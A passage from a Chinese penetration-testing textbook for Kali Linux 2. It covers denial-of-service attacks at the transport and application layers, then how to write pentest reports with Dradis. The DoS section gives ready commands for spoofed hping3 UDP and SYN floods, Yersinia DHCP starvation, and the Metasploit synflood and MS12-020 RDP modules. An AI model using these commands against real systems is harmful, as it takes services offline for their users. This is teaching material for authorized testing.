TCP和UDP协议都位于这一层，而这两个协议都可以实现拒绝服务攻击，但是攻击方式并不相同。UDP拒绝服务攻击与ICMP拒绝服务攻击原理相同，也需要向目标快速的发送大量数据，不同之处在于UDP的目标是目的主机的一个端口，而ICMP则与端口无关。下面我们利用hping3的这些参数来对目标进行一次拒绝服务攻击。在开始攻击之前，必须要明确知道目标端口，而且该端口必须是使用UDP协议，而且是开放的。现在主机大都使用DHCP来设置网络信息，这个协议在传输层就使用UDP协议，其中67和68端口都是正常的DHCP服务端口，67作为DHCPserver的服务端口，68作为DHCP client的服务端口，所以这里我们将目标端口设置为68。
 
好了，现在我们就利用刚刚介绍过的hping3来构造一次基于UDP协议的拒绝服务攻击，在Kali Linux 2中打开一个终端，然后在终端中输入如下命令即可开始此次攻击。
 
hping3 -q -n -a 10.0.0.1 --udp -s 53 --keep -p 68 --flood 192.168.0.2
 
但是这种基于UDP协议的拒绝服务攻击在实际中使用得并不多。
 
　　而基于TCP协议的拒绝服务攻击则要复杂一些，但是我们平时所说的拒绝服务攻击指的都是基于这个协议的攻击。因为现实中拒绝攻击服务的对象往往都是那些提供HTTP服务的服务器，为HTTP协议提供支持的TCP协议自然也就成了拒绝服务攻击的重灾区。
 
不同于针对ICMP和UDP协议的拒绝服务攻击方式，基于TCP的攻击方式是面向连接的。只需要和目标主机的端口建立大量的TCP连接，就可以让目标主机的连接表被填满，从而不会再接收任何新的连接。
 
基于TCP的拒绝攻击方式有两种，一种是和目标端口完成3次握手，建立一个完整连接。另一种是只和目标端口完成3次握手中的前两次，建立的是一个不完整的连接，这种攻击方式是最为常见的，我们通常将这种攻击方式成为SYN拒绝服务攻击。这种攻击方式中，攻击方会向目标端口发送大量设置了SYN标志位的TCP数据包，受攻击的服务器会根据这些数据包建立连接，并将连接的信息存储在连接表中，而攻击方不断地发送SYN数据包，很快就会将连接表填满，此时受攻击的服务器就无法接收新来的连接请求了。
 
好了，现在我们就利用刚刚介绍过的hping3参数来构造一次基于TCP协议的拒绝服务攻击，在Kali Linux 2中打开一个终端，然后在终端中输入：
 
hping3 -q -n -a 10.0.0.1 -S -s 53 --keep -p 22 --flood 192.168.0.2
 
这样就完成了一次对目标的TCP拒绝服务攻击。
 
15.4　基于应用层的拒绝服务攻击
 
位于应用层的协议比较多，常见的有HTTP、FTP、DNS、DHCP等。每个协议都有可能被利用来发起拒绝服务攻击，这里我们以其中的DHCP协议为例讲解。DHCP（Dynamic Host Configuration Protocol，动态主机配置协议）通常被应用在大型的局域网络环境中，主要作用是集中地管理、分配IP地址，使网络环境中的主机动态地获得IP地址、Gateway地址、DNS服务器地址等信息，并能够提升地址的使用率。
 
DHCP协议采用客户端/服务器模型，主机地址的动态分配任务由网络主机驱动。当DHCP服务器接收到来自网络主机申请地址的信息时，才会向网络主机发送相关的地址配置等信息，以实现网络主机地址信息的动态配置。
 
DHCP攻击的目标也是服务器，怀有恶意的用户伪造大量DHCP请求报文发送到服务器，这样DHCP服务器地址池中的IP地址会很快就分配完毕，从而导致合法用户无法申请到IP地址。同时大量的DHCP请求也会导致服务器高负荷运行，从而导致设备瘫痪。
 
在这一节中我们使用到两个工具，一个是Yersinia，这是一个十分强大的拒绝服务攻击工具；另一个是我们比较熟悉的Metasploit。
 
在这里我们首先使用Yersinia进行DHCP攻击实验，这是一款图形化的工具，我们在命令行中输入“yersinia -G”就可以以图形化界面的形式启动这款工具。
 
root@kali:~# yersinia -G
 
图15-6就是启动以后的Yersinia工作界面，现在的版本为0.73。
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图15-6　Yersinia工作界面
 
单击“Lauch attack”选择攻击方式，Yersinia提供了对很多种网络常见协议的攻击方式，例如CDP、DHCP、DTP、HSRP、ISL、MPLS、STP、VTP等，如图15-7所示。
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图15-7　Yersinia的攻击方式选择界面
 
在如图15-8所示的“Choose attack”对话框中，我们可以选择要攻击的协议以及具体的攻击方式，这里选择标签“DHCP”。
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图15-8　DHCP服务攻击界面
 
基于DHCP协议的攻击中一共提供了4种发包形式，其中“sending DISCOVER packet”形式默认的就采用了拒绝服务攻击（后面的DoS复选框中显示被选中状态）。这4种模式的含义具体如下所示。
 
 
 	sending RAW packet：发送原始数据包。
 
 	sending DISCOVER packet：发送请求获取IP地址数据包，占用所有的IP，造成拒绝服务。
 
 	creating DHCP rogue server：创建虚假DHCP服务器，让用户连接，导致真正的DHCP无法工作。
 
 	sending RELEASE packet：发送释放IP请求到DHCP服务器，致使正在使用的IP全部失效。
 

 
我们选中这个方法之后单击“OK”，即可开始攻击。
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图15-9　使用Yersinia进行DHCP攻击产生的数据包
 
执行攻击后，右侧框1处显示的就是发送出去的攻击数据包，如果希望查看某一个数据包的具体内容，可以单击一个数据包。在框2处显示的就是这个数据包的详细内容。可以看到这个工具不断地向外发送广播数据包。
 
执行攻击后，Yersinia就会在本网段内不停地发送dhcp discover数据包，很快dhcp server地址池内所有的有效IP都没法使用，新的用户就无法获取IP地址，整个网络陷于瘫痪状态。
 
另外理论上所有提供连接的协议都可能会受到拒绝服务的攻击，Metasploit中提供了很多用于各种协议的拒绝服务攻击模块，我们可以启动Metasploit，并在其中查询使用对应的模块。
 
root@kali:~# msfconsole
 
成功启动Metasploit之后，可以使用search命令来查找与dos（拒绝服务攻击）相关的模块，如图15-10所示。
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图15-10　Metasploit中的拒绝服务攻击模块列表
 
这里列出Metasploit中的所有拒绝服务攻击模块，我们仍然使用这里面的模块来对目标进行一次syn拒绝服务攻击，这里面可以使用auxiliary/dos/tcp/synflood模块来完成这个攻击， 首先选择对应的模块。
 
msf > use auxiliary/dos/tcp/synflood
 
使用show opinions来查看这个模块的参数，如图15-11所示。
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图15-11　synflood攻击模块的参数列表
 
synflood模块需要的参数包括RHOST、RPORT、SNAPLEN和TIMEOUT，后面的3个参数都有默认值，所以需要设置的只有RHOST，这也正是我们要发起拒绝服务攻击服务器的IP地址。这个目标必须是对外提供HTTP服务的服务器。
 
下面将参数设置为目标192.168.1.101，如图15-12所示。
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图15-12　synflood设置RHOST值
 
然后就可以使用exploit命令发起攻击了，如图15-13所示。
 
[image: 图片 14]
 
图15-13　启动synflood攻击
 
很快目标就会因为攻击而停止对外的HTTP服务了。
 
如果事先获得了关于目标足够信息的话，我们也可以利用目标主机上一些特定的服务进行拒绝服务攻击。例如很多人都拥有两台以上的计算机，一台在单位，另外一台在家里，如果上班时间没有完成全部工作的话，回到家中可以远程连接到单位的计算机。但是这需要计算机提供了远程控制的服务，微软的Windows操作系统中就提供了远程桌面协议，这是一个多通道（multi-channel）的协议，用户可以利用这个协议连上提供微软终端机服务的计算机（服务器端或远程计算机）。
 
但是微软提供的这个服务被发现存在一个编号为MS12-020的漏洞， Windows在处理某些RDP报文时Terminal Server 存在错误，可被利用造成服务停止响应。默认情况下，任何 Windows 操作系统都未启用远程桌面协议 (RDP)。没有启用 RDP 的系统不受威胁。
 
我们还是在metasploit中启动对应的模块：
 
msf > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
 
使用“show options”来查看这个模块所要使用的参数，如图15-14所示。
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图15-14　ms12_020_maxchannelids攻击模块的参数列表
 
这个模块的参数也十分简单，只需要设置一个RHOST即可，这也就是目标的IP地址，我们在这里将其设置为192.168.1.101，如图15-15所示。
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图15-15　设置ms12_020_maxchannelids攻击模块的参数
 
设置完攻击目标之后，我们就可以对目标发起攻击了,使用run命令发起攻击，如图15-16所示。
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图15-16　ms12_020_maxchannelids攻击结果
 
上面框中的结果显示攻击已经成功，目标主机已经关闭。
 
15.5　小结
 
拒绝服务攻击一直是一个让网络安全人员感到无比头疼的问题，受到这种攻击的服务器将无法提供正常的服务。通常我们所说的拒绝服务攻击一般是指对HTTP服务器发起的TCP连接攻击。但实际上拒绝服务攻击的范畴要远远比这更大，本章按照TCP/IP协议的结构，依次介绍了数据链路层、网络层、传输层和应用层中协议的漏洞，并讲解了如何利用这些漏洞来发起拒绝服务攻击。
 
这一章中使用到了几个十分强大的工具，如macof、hping3、yersinia、Metasploit等，这几个工具各有特色，它们组合起来几乎可以完成所有的拒绝服务攻击。尤其是hping3，是一款最为灵活的工具，使用它我们几乎可以构造任何需要的数据包。在本章中，我们就使用hping3分别构造了基于ICMP、UDP、TCP的拒绝服务攻击。之后我们又使用yersinia完成了针对DHCP协议的拒绝服务攻击。yersinia可以完美地完成对各种网络设备的拒绝服务攻击。在本章的最后，我们介绍了如何使用metasploit来对目标发起拒绝服务攻击。拒绝服务攻击是一种破坏力很大的渗透方法，在对一个测试目标采用这种方法之前，一定要获得客户的许可，并事先做好服务器停止服务的准备。
 
本章中介绍的都是从一台计算机发起的，这也就是拒绝服务。而现在更为常见的是分布式拒绝服务（Distributed Denial of Service, DDoS）攻击，这种攻击方式指借助于客户/服务器技术，将多个计算机联合起来作为攻击平台，对一个或多个目标发动DDoS攻击，从而成倍地提高拒绝服务攻击的威力。
 
下一章将是本书的最后部分，我们将会介绍如何将工作成果以书面的形式展示出来，并将介绍一款用来编写渗透测试报告的工具。
 


第16章　渗透测试报告的编写
 
好了，到此为止我们已经对目标进行了完整的渗透测试，但是对目标的攻击并不是最终的目的。正确的做法应该是将发现的问题以报告的形式提交给客户。让客户能够理解问题的严重性，并对此作出正确的回应，及时进行改正，这才是我们真正应该做的。这一切需要通过沟通才能完成，除了与客户之间的交流之外，还必须向客户提供一份易于理解的书面测试报告。
 
渗透测试的最后一个也是最为重要的一个阶段就是报告编写。作为一个合格的渗透测试人员应该具备良好的报告编写能力。渗透测试人员在编写测试的时候应该保证报告的专业性，但是这份报告最后的阅读者往往是并不具备专业领域知识的管理人员，因此需要避免使用过于专业的术语，并且易于理解。鉴于目前微软办公软件的普及，即使是专业人士也大都会采用Word、Execl来编写渗透测试报告。不过Kali Linux 2提供了一个更加专业的报告编写工具，利用这些工具可以便利地导入扫描和渗透的结果，从而更加便利地编写出优秀的报告。
 
本章将会就以下部分展开介绍：
 
 
 	渗透测试报告的介绍
 
 	使用Dradis来完成渗透测试报告
 

 
16.1　编写渗透测试报告的目的
 
如果将我们整个渗透测试的过程看做是工厂中的生产过程的话，那么最后的产品就是渗透测试报告。虽然很多初入职场的工程师和学生都认为编写文档是一件技术含量不高的工作。这其实是一个十分错误的观点。渗透测试人员需要将整个渗透测试过程中完成的工作以书面报告的形式整理出来，这份报告必须以通俗易懂的语言全面地总结这次测试过程中的工作。
 
一种比较糟糕的情况就是我们对目标进行了大量的渗透测试工作，而且也发现了目标网络中存在的问题，但是目标网络的管理人员却无法理解我们的报告，或者对我们提出的问题没有足够的重视，这样其实我们在渗透测试时所花费的时间和精力都被浪费了。
 
因此一份合格的渗透测试报告应该可以让所有的人员都能够看懂，而且轻而易举地发现报告中指出问题的重要性。这样的话，渗透测试人员就不能仅仅只具备渗透技能，对安全问题的修复能力、表达能力也同样重要。
 
16.2　编写渗透测试报告的内容摘要
 
渗透测试报告的内容摘要其实就是最终报告的一个概况总结。这部分内容必须避免长篇大论，应该以高度精炼的方式来概述我们在整个渗透测试阶段的工作，篇幅一般不会超过几个段落。另外，在描述时采用的语言也应该尽量简单，不要使用任何的技术术语，侧重描述目前目标中漏洞可能带来的风险。
 
渗透测试的内容摘要应该以发现的漏洞作为切入点，结合用户的实际安全需求来完成。打个比方，如果现在我们是为一家银行做测试，那么银行可能最关注的就是所有客户的信息，黑客可能会利用银行对外发布HTTP服务的Web程序来窃取这些信息。我们在进行报告的编写过程中就应该重点描述在测试过程中所发现与此相关的漏洞。如果在测试过程中没有发现这一类的漏洞，就应该明确地说明这个事实。
 
内容摘要中还应该说明为什么要进行这次安全渗透测试。
 
16.3　编写渗透测试报告包含的范围
 
当我们对目标网络进行测试的时候，不太可能会遇见所有的设备都存在问题的情形。例如我们对一个单位的所有服务器进行渗透测试时，可能只在其中一两台设备发现了问题。当我们在编写渗透测试时，是将所有服务器的信息都写入报告中呢，还是只需要将有问题的设备信息写入报告中呢？
 
和这一点相类似的是，我们在编写渗透测试报告的时候，是将渗透过程中的全部测试都写入渗透报告中，还是只将发现问题的测试写入渗透报告？
 
实际上目前对这个问题并没有一个权威的答案，不同的机构或者专家对此可能会有截然不同的看法，两种做法各有利弊。
 
16.4　安全交付渗透测试报告
 
渗透测试的最后一个步骤就是将编写好的报告交付给客户。一般来说每一个机构都会使用专业的加密软件。如果你所在的是一个创业型企业，没有购买这方面的软件，那么你也可以使用zip格式来对报告进行加密。虽然这样做看起来不是十分专业，但是要比一份明文的报告要好得多。
 
这样我们将加密之后的报告和秘钥分开传递给客户。比如说可以以电子邮件或者U盘的形式交给客户，而秘钥则以一个更安全的方式传递。
 
16.5　渗透测试报告应包含的内容
 
由于目前安全行业中并没有一份完全统一的标准，这一点给渗透测试从业人员在编写报告时带来了困难。而那些刚刚进入这个行业的人员可能更会感到困惑，到底在一份渗透测试报告中应该包含哪些内容呢，这些内容又是如何组织的呢？
 
由于一次渗透测试需要的时间比较长，在此期间完成了大量的工作，我们可以使用WAPITI模型来将这些工作成果组织在一起。
 
WAPITI模型一共包括六点：
 
 
 	W　　– 进行渗透测试的原因。
 
 	A　　– 在渗透测试过程使用的方法。
 
 	P　　– 在渗透测试过程发现的问题。
 
 	I　　– 这些发现问题会给目标带来的影响。
 
 	T　　– 给目标提出改正的方案。
 
 	I　　– 明确客户已经清楚了解报告的内容。
 

 
16.6　使用Dradis来完成渗透测试报告
 
现在我们已经明确了在一份渗透测试报告中应该包含的内容。而在编写渗透测试报告的过程中，Kali Linux 2同样提供一些高效的工具供我们使用。这里面的第12个分类“Reporting Tools”就是专门用来编写报告的工具。我们以其中最为流行的Dradis来作为范例，这是一个开源的协作和报告框架。这个框架由Ruby开发，而且提供了Web操作界面，即使是一个新手也能轻松地使用。
 
16.6.1　Dradis的基本应用
 
首先，我们来启动这个工具Dradis，这个工具位于“Applications”中的“Reporting Tools”分类中，如图16-1所示。
 
不过不能直接在这里启动Dradis，因为Dradis采用了B/S的工作方式。也就是说需要首先启动Dradis服务，然后才能启动这个工具。这样做的优势在于如果在一台计算机上启动了Dradis服务，用户可以在其他计算机上使用浏览器访问这个服务。
 
现在我们首先在Kali Linux 2中来启动Dradis服务，如图16-2所示。
 
启动了这个服务之后，就可以使用Dradis服务器的IP地址和3000端口来访问这个框架，例如我们现在就可以在Kali Linux 2中使用浏览器http://127.0.0.1:3000/访问这个服务。
 
[image: 图片 3]
 
图16-1　应用程序中的“Reporting Tools”分类
 
[image: 图片 5]
 
图16-2　启动Dradis服务
 
在浏览器中输入这个地址之后，可以看到如图16-3所示的工作界面。
 
[image: 图片 6]
 
图16-3　Dradis的密码初始化界面
 
第一次访问这个Dradis服务的时候，需要对这个服务进行设置，所以页面会跳转到127.0.0.1/setup，也就是初始化页面，在这个页面中我们首先要设置密码，设置并确认之后，单击下面的“Set password and continue”按钮。
 
接下来就是登录界面，如图16-4所示，使用任意的用户名和刚才设置的密码就可以登录。
 
[image: 图片 7]
 
图16-4　Dradis的密码登陆界面
 
现在可以看到如图16-5所示的Dradis操作界面了。
 
[image: 图片 8]
 
图16-5　Dradis的管理界面
 
如图16-6所示，每一个Dradis中的项目都包含如下4个部分。
 
[image: 图片 3]
 
图16-6 Dradis项目所包含的内容
 
 
 	Issues（问题）：这个部分是我们在渗透测试过程中发现的安全缺陷。这些问题都将出现在我们最终的渗透测试报告中。
 
 	People（人员）：每一个渗透测试项目都会分配给一个项目团队，当然有时候项目团队可能只有一个人。只有这个团队的成员才可以修改和浏览Dradis中的这个项目。
 
 	 Methodologies（方法）：这个部分会列出渗透测试所需要完成的任务列表。
 
 
 	 Nodes（节点）：这个部分类似于操作系统中的文件夹。利用节点我们可以将整个项目的内容组织起来。如果你是对一个网络进行渗透测试的话，那么每一台主机就可以看作是一个节点。如果是对一个程序进行渗透测试的话，那么代码中的子模块就可以看作是一个节点。
 
 

 
接下来我们分别介绍如何使用Nodes和Issues。
 
16.6.2　在Dradis中使用Nodes
 
Dradis中的Nodes就相当于操作系统中的文件夹，在一个Dradis项目中和节点相关的信息包括notes（注释）、attachments（附件）和 evidence（证据）。我们在编写报告的时候，可以按照进行渗透测试的设备作为节点。例如我们可以将一台目标主机作为一个单位来编写渗透测试报告。图16-7中左侧列表中的Nodes表示的就是进行的所有设备，单击Nodes右侧的加号就可以添加一个新的节点。
 
[image: 图片 4]
 
图16-7 构建一个渗透目标为两个主机的项目
 
首先，我们使用Dradis来构建一个项目，由于我们渗透测试的目标有所不同，在构建项目时可能就会采用不同的方式，下面先给出一个如图16-7所示的渗透测试目标为网络的情况。
 
在进行测试的时候可能是主机和网络，但是也可能是一个应用程序。如果目标为一个应用程序的时候，构建的项目结构看起来会如图16-8所示。
 
现在我们仍然返回到目标为网络的实例，在这种情况下，经常会遇到添加或删除主机的情况，这时就需要添加或者删除节点。下面我们来向项目中添加节点，这个节点可以是一个范围，也可以是单独的一个主机，根据情况的不同我们可以选择是添加一个单独节点，还是一个多重节点。首先来添加一个单独节点，如图16-9所示。
 
[image: 图片 5]
 
图16-8　构建一个渗透目标为应用程序的项目
 
[image: 图片 9]
 
图16-9　选中Nodes右侧的添加图标“+”
 
接下来会弹出一个窗口，在这里输入对渗透设备（网络、主机或者应用程序）的描述作为标签，在下面的Type中选择一个类型，如果你的目标是一个网络的话就使用Default，如果是一个主机的话就使用Host。这里面我们使用“Host”，然后单击“Add”按钮，如图16-10所示。
 
[image: 图片 13]
 
图16-10　向项目中添加一个Host
 
当我们添加了节点之后，还可以为这个节点执行添加子节点、删除节点、重命名和移动操作，如图16-11所示。
 
[image: 图片 6]
 
图16-11　节点的基本操作
 
Dradis中的节点属性采用了 JSON 格式，我们可以手动地对其进行修改，修改的方法很简单，选中一个节点之后，单击“edit”进行编辑，如图16-12所示。
 
[image: 图片 7]
 
图16-12　对节点进行编辑
 
节点的编辑采用了“属性：值”的语法，刚开始接触这种语法可能会不习惯，但是这种语法极为精炼，图16-13给出了编辑的界面。
 
[image: 图片 9]
 
图16-13　节点的编辑界面
 
例如我们这个节点的域名为www.dradis.com，主机的IP为1.1.1.1，就可以按照如下所示的格式编写。
 
{

"domainname":"www.dradis.com",

"IP":"1.1.1.1"

}
 
每一个节点代表着一个目标，在完成了对节点的操作之后，我们还需要将每个节点存在的问题和证明这个问题存在的证据添加进来。下面来介绍如何向Dradis中添加Issues（问题）和Evidence（证据）。
 
16.6.3　在Dradis中使用Issues和Evidence
 
一个Issues应该包含安全缺陷的信息，比如标题、描述、建议、相关的CVE信息、这个安全缺陷的链接等。而一个Evidence证据应该包含细节信息，比如端口号码、应用程序的版本、使用的工具等。
 
比如说我们在目标的服务器上发现了一个老旧的Apache服务器，而这个服务器上有两个端口80和443。我们可以使用Issues来描述这个发现问题的服务器，使用两个Evidence来描述问题的细节。下面我们来添加一个Issues，首先单击最左侧的“All Issues”，然后单击Issues右侧的加号，如图16-14所示。
 
[image: 图片 11]
 
图16-14　在Dradis添加一个Issues
 
然后在弹出的窗口填写详细的信息，如图16-15所示。
 
[image: 图片 12]
 
图16-15　在Dradis添加一个新的Issues
 
例如我们发现目标主机上运行着一个已经过时的Apache服务器。这个服务存在多个漏洞，我们按照标题（Title）和描述（Description）两部分来编写这个Issues，如图16-16所示。描述部分除了介绍发现的问题之外，也可以给出该问题的页面。
 
[image: 说明: https://dradisframework.com/images/pro/guides/projects/projects-15.png]
 
图16-16　在Dradis中编写Issues
 
除了给出发现的Issues之外，我们还可以添加Issues对应的证据（Evidence），也就是说我们不能只说目标存在某个问题，而且还要证明目标上存在这个问题。这一点很容易实现，单击“Evidence”右侧的添加按钮，就可以添加一个证据，如图16-17所示。
 
[image: 图片 16]
 
图16-17　在Dradis中添加Evidence
 
单击“+”按钮之后，就会弹出一个证据的添加界面，如图16-18所示。
 
[image: 图片 17]
 
图16-18　Dradis中的Evidence操作界面
 
在编辑完了所有的节点之后，我们就可以将测试报告导出，如图16-19所示。Dradis中支持多种格式的渗透测试报告，可以使用右上角的“Export results”。
 
[image: 图片 18]
 
图16-19　Dradis中提供的报告导出功能
 
非商业版的Dradis支持的报告格式比较少，但是里面包含了常用的CSV格式和HTML格式，如图16-20所示。
 
[image: 图片 19]
 
图16-20　导出Dradis的报告
 
单击“Export”按钮可以导出刚才编写的报告。
 
16.7　小结
 
在这一章中，我们介绍了渗透测试报告的编写规范及包含的内容，并介绍了Kali Linux 2中最为优秀的测试报告编写工具Dradis的使用方法。虽然说渗透的过程可能很激动人心，但是最后的成果却要以文档的形式展示给客户。如果你希望成为一名合格的渗透测试专家，那么你应该具备优秀的报告撰写能力。
 
本章是全书的最后部分，全书16章内容完整地介绍了渗透测试工作的全部流程。很感谢你阅读完了本书，也希望这本书能带领你走上渗透测试专家的道路，更好地服务于我国的网络与信息安全事业。
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